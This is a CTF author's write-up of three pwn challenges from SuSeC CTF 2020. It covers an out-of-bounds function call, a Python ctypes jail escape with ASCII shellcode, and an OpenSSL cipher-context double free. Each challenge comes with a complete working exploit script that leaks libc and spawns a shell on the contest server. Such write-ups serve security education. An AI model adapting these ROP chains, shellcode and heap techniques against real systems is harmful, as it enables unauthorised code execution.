SuSeC CTF 2020 had been held from 15th March 06:30 UTC for 36 hours. I wrote 3 pwn tasks for this CTF. (I don't know of any other tasks.) The tasks and solvers are available here:
I hope you enjoyed my pwn challenges :)
Overview
Original Title: unary File: libc-2.27.so, unary
We can apply an unary to our inputs.
$ ./unary 0. EXIT 1. x++ 2. x-- 3. ~x 4. -x Operator: 1 x = 123 f(x) = 124
PIE, SSP and RELRO are disabled.
$ checksec -f unary RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 77 Symbols Yes 2 2 unary
Plan
Vulnerability
The vulnerability is very simple. It has Out-Of-Bound error on the menu index.
$ ./unary 0. EXIT 1. x++ 2. x-- 3. ~x 4. -x Operator: 5 x = 123 Segmentation fault (コアダンプ)
This is where the vulnerability exists.
mov rdi, r14 call read_int sub ebx, 1 movsxd rbx, ebx mov rsi, r13 mov edi, eax call qword ptr [r12+rbx*8]
The first argument is our input, and the second argument (r13) is the pointer to a local variable to store the result.
Leaking libc base
We can easily leak the libc address since PIE is disabled.
Using the OOB, we can call puts
as negative indexes are also allowed.
By passing the address of puts@got
as the first argument, puts@plt(puts@got);
will be called.
This leaks the pointer to the puts
function.
Getting the shell
How can we get the shell though?
My intended solution is use scanf
in order to cause the Stack Overflow.
Thanks to the read_int
function, we have "%s" string in the binary.
So, we can cause a simple stack overflow by calling scanf@plt
with the address of %s
set as the first argument.
Since the second argument is the pointer to a local buffer, this will cause
scanf("%s", &result);
which in turn causes a stack overflow. We can just write a simple rop chain to spawn the shell.
Exploit
from ptrlib import * def call(index, arg): sock.sendlineafter(": ", str(index)) sock.sendlineafter("= ", str(arg)) return def ofs(addr): return (addr - elf.symbol('ope')) // 8 + 1 libc = ELF("../distfiles/libc-2.27.so") elf = ELF("../distfiles/unary") sock = Socket("66.172.27.144", 9004) call(ofs(elf.got('puts')), elf.got('puts')) libc_base = u64(sock.recvline()) - libc.symbol('puts') logger.info("libc = " + hex(libc_base)) rop_ret = libc_base + 0x000008aa rop_pop_rdi = libc_base + 0x0002155f rop_pop3 = 0x004008ae ofs_scanf = ofs(elf.got('__isoc99_scanf')) ofs_format = 0x400000 + next(elf.find("%s")) payload = b'A' * (4 + 0x28) payload += p64(rop_ret) payload += p64(rop_pop_rdi) payload += p64(libc_base + next(libc.find("/bin/sh"))) payload += p64(libc_base + libc.symbol('system')) call(ofs_scanf, ofs_format) sock.sendline(payload) sock.sendlineafter(": ", "0") sock.interactive()
Overview
Original Title: datsugoku File: Dockerfile, libregex.so, server.py
It's a Python jail escape challenge. Actually it was my first time that I made a jail escape challenge.
First of all, the code must follow a regex.
[-a-zA-Z0-9,\\.\\(\\)]+$
So, we can't use some useful characters such as _
.
Next, we have a blacklist and a whitelist.
blacklist = [ 'eval', 'exec', 'setattr', 'system', 'open' ] whitelist = [ 'print', 'eval', 'input', 'int', 'str', 'isinstance', 'setattr', '__build_class__', 'Exception', 'KeyError' ]
Our input MUST NOT include a word in the blacklist but we MAY use some functions listed in the whitelist. Other useful built-in functions are deleted by the following piece of code.
for name in dir(__builtins__): if name not in whitelist: del __builtins__.__dict__[name]
Finally our input is eval
ed.
def run_code(): code = input('code: ') check_code(code) eval(code)
Plan
It uses a regex library instead of the default re
module in Python.
libregex = ctypes.CDLL('./libregex.so')
match = libregex.re_match
match.restype = ctypes.c_int
match.argtypes = [ctypes.c_char_p, ctypes.c_char_p]
Since eval
succeeds the modules loaded in the caller by default, we can use ctypes
in our code.
ctypes
is very strong in the point that we can
- load a library and call its functions
- control pointers and registers
My intended solution is load libc
, mmap
an executable region, write a shellcode and execute it.
Exploit
We can feed our input by input
function.
However, I wrote an ascii shellcode because Python input
won't accept some characters which can't be decoded in UTF-8.
from ptrlib import * sock = Socket("66.172.27.144", 9002) sc = "ASYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXA" payload = "ctypes.cast(ctypes.cdll.LoadLibrary(input()).mmap(0x40000,4096,0b111,0x22,-1,0),ctypes.CFUNCTYPE(int))(ctypes.memmove(0x40000,input().encode(),{}))".format(len(sc)) sock.sendlineafter(": ", payload) sock.sendline("/lib/x86_64-linux-gnu/libc-2.27.so") sock.sendline(sc) sock.interactive()
Overview
Original Title: credmgr File: credmgr, libc.so.6, libcrypto.so.1.1
We're asked to set an encryption key and IV. After that we can store username/password and delete it.
$ ./credmgr Key: secret key IV: secret IV 1. New credential 2. Delete credential x. Exit > 1 Username: ptr Password: hogehoge 1. New credential 2. Delete credential x. Exit > 2
Although the username is simply stored in the heap, the password is encrypted with AES-128-CBC.
PIE, SSP, RELRO are disabled.
$ checksec -f ../distfiles/credmgr RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 89 Symbols No 0 6 ../distfiles/credmgr
Plan
Vulnerability
If cred
is not null, new_cred
frees cred
, cred->username
and cred->password
first.
Also, if the given username is empty, it'll abort the function and returns to the menu.
The function, however, doesn't free cred
and cred->username
even if it aborts before allocating cred->password
.
So, cred->password
is kept old and we can free it by del_cred
.
This causes Double Free in cred->password
.
A notice is the sizes of cred->password
, cred->username
and ctx
are same: 0xa0-byte.
EVP_CIPHER_CTX
EVP_CIPHER_CTX
(=evp_cipher_st
) has a member named cipher, which is of EVP_CIPHER
(=evp_cipher_st
).
It's defined like this:
struct evp_cipher_st { int nid; int block_size; int key_len; int iv_len; unsigned long flags; int (*init)(EVP_CIPHER_CTX *ctx, const unsigned char *key, const unsigned char *iv, int enc); int (*do_cipher)(EVP_CIPHER_CTX *ctx, unsigned char *out, const unsigned char *in, size_t inl); int (*cleanup)(EVP_CIPHER_CTX *); int ctx_size; int (*set_asn1_parameters)(EVP_CIPHER_CTX *, ASN1_TYPE *); int (*get_asn1_parameters)(EVP_CIPHER_CTX *, ASN1_TYPE *); int (*ctrl)(EVP_CIPHER_CTX *, int type, int arg, void *ptr); void *app_data; } ;
If we can forge ctx->cipher
to a fake evp_cipher_st
object, we can get RIP by changing the cleanup
function pointer.
Since we have double free and PIE is disabled, we can do it by preparing the fake object in key
and iv
.
After the cred->password
double free, we partially overwrite the fd
and then write the pointer of key
, which actually will overwrite ctx->cipher
as well.
Getting the shell
So, we can forge ctx->cipher
but what should we do next?
When ctx->cipher->cleanup
is called, rdi
points to ctx->cipher
(=key
), rsi
points to a local variable on the stack and rdx
is the buffer address for encryption.
So, if we call input
function, it'll cause the following call:
input(key, stack, buf);
This is valid and we can cause Stack Overflow inside the cipher function since SSP is disabled and rsi points to the stack!
We just need to write a simple rop chain to leak the libc address and get the shell by using a technique such as rop stager.
I used ret2csu because there's no pop rdx
gadget.
Exploit
from ptrlib import * import time def add(username, password=None): sock.sendlineafter("> ", "1") sock.sendafter(": ", username) if username == b'\n' or username == '\n': return b'' sock.sendafter(": ", password) return recv_cipher() def delete(): sock.sendlineafter("> ", "2") return def update_user(username): sock.sendlineafter("> ", "3") sock.sendafter(": ", username) return def update_pass(password): sock.sendlineafter("> ", "4") sock.sendafter(": ", password) return recv_cipher() def recv_cipher(): return b'' output = b'' while True: line = sock.recvline() if b'credential' in line: break output += bytes.fromhex(bytes2str(line.replace(b' ', b''))) return output libc = ELF("../distfiles/libc.so.6") elf = ELF("../distfiles/credmgr") sock = Socket("66.172.27.144", 9001) rop_pop_rdi = 0x00400f33 rop_csu_popper = 0x400f2a rop_csu_caller = 0x400f10 rop_leave_ret = 0x00400c22 addr_stage2 = elf.section('.bss') + 0x400 payload = p32(0x1a3) + p32(0x10) payload += p32(0x10) + p32(0x10) payload += b'\x02' sock.sendafter("Key: ", payload) payload = p64(elf.symbol('input')) sock.sendafter("IV: ", payload) add("user", "pass") add("\n") delete() add("\x30", p64(elf.symbol('key'))) sock.recv() payload = b'A' * 0xa0 payload += p64(0) payload += p64(0) payload += p64(0) payload += p64(rop_pop_rdi) payload += p64(elf.got('read')) payload += p64(elf.symbol('print')) payload += p64(rop_csu_popper) payload += flat([ p64(0), p64(1), p64(elf.got('read')), p64(0), p64(addr_stage2), p64(0x100), ]) payload += p64(rop_csu_caller) payload += p64(0xdeadbeef) payload += flat([ p64(0), p64(addr_stage2 - 8), p64(0), p64(0), p64(0), p64(0) ]) payload += p64(rop_leave_ret) sock.send(payload) libc_base = u64(sock.recv()) - libc.symbol('read') if libc_base < 0x7f0000000000: logger.error("Bad luck!") exit() logger.info("libc = " + hex(libc_base)) payload = p64(rop_pop_rdi) payload += p64(libc_base + next(libc.find('/bin/sh'))) payload += p64(libc_base + libc.symbol('system')) sock.send(payload) sock.interactive()
Yay!
$ python solve.py [+] __init__: Successfully connected to 66.172.27.144:9001 [+] <module>: libc = 0x7f90fcbf1000 [ptrlib]$ id [ptrlib]$ uid=999(pwn) gid=999(pwn) groups=999(pwn)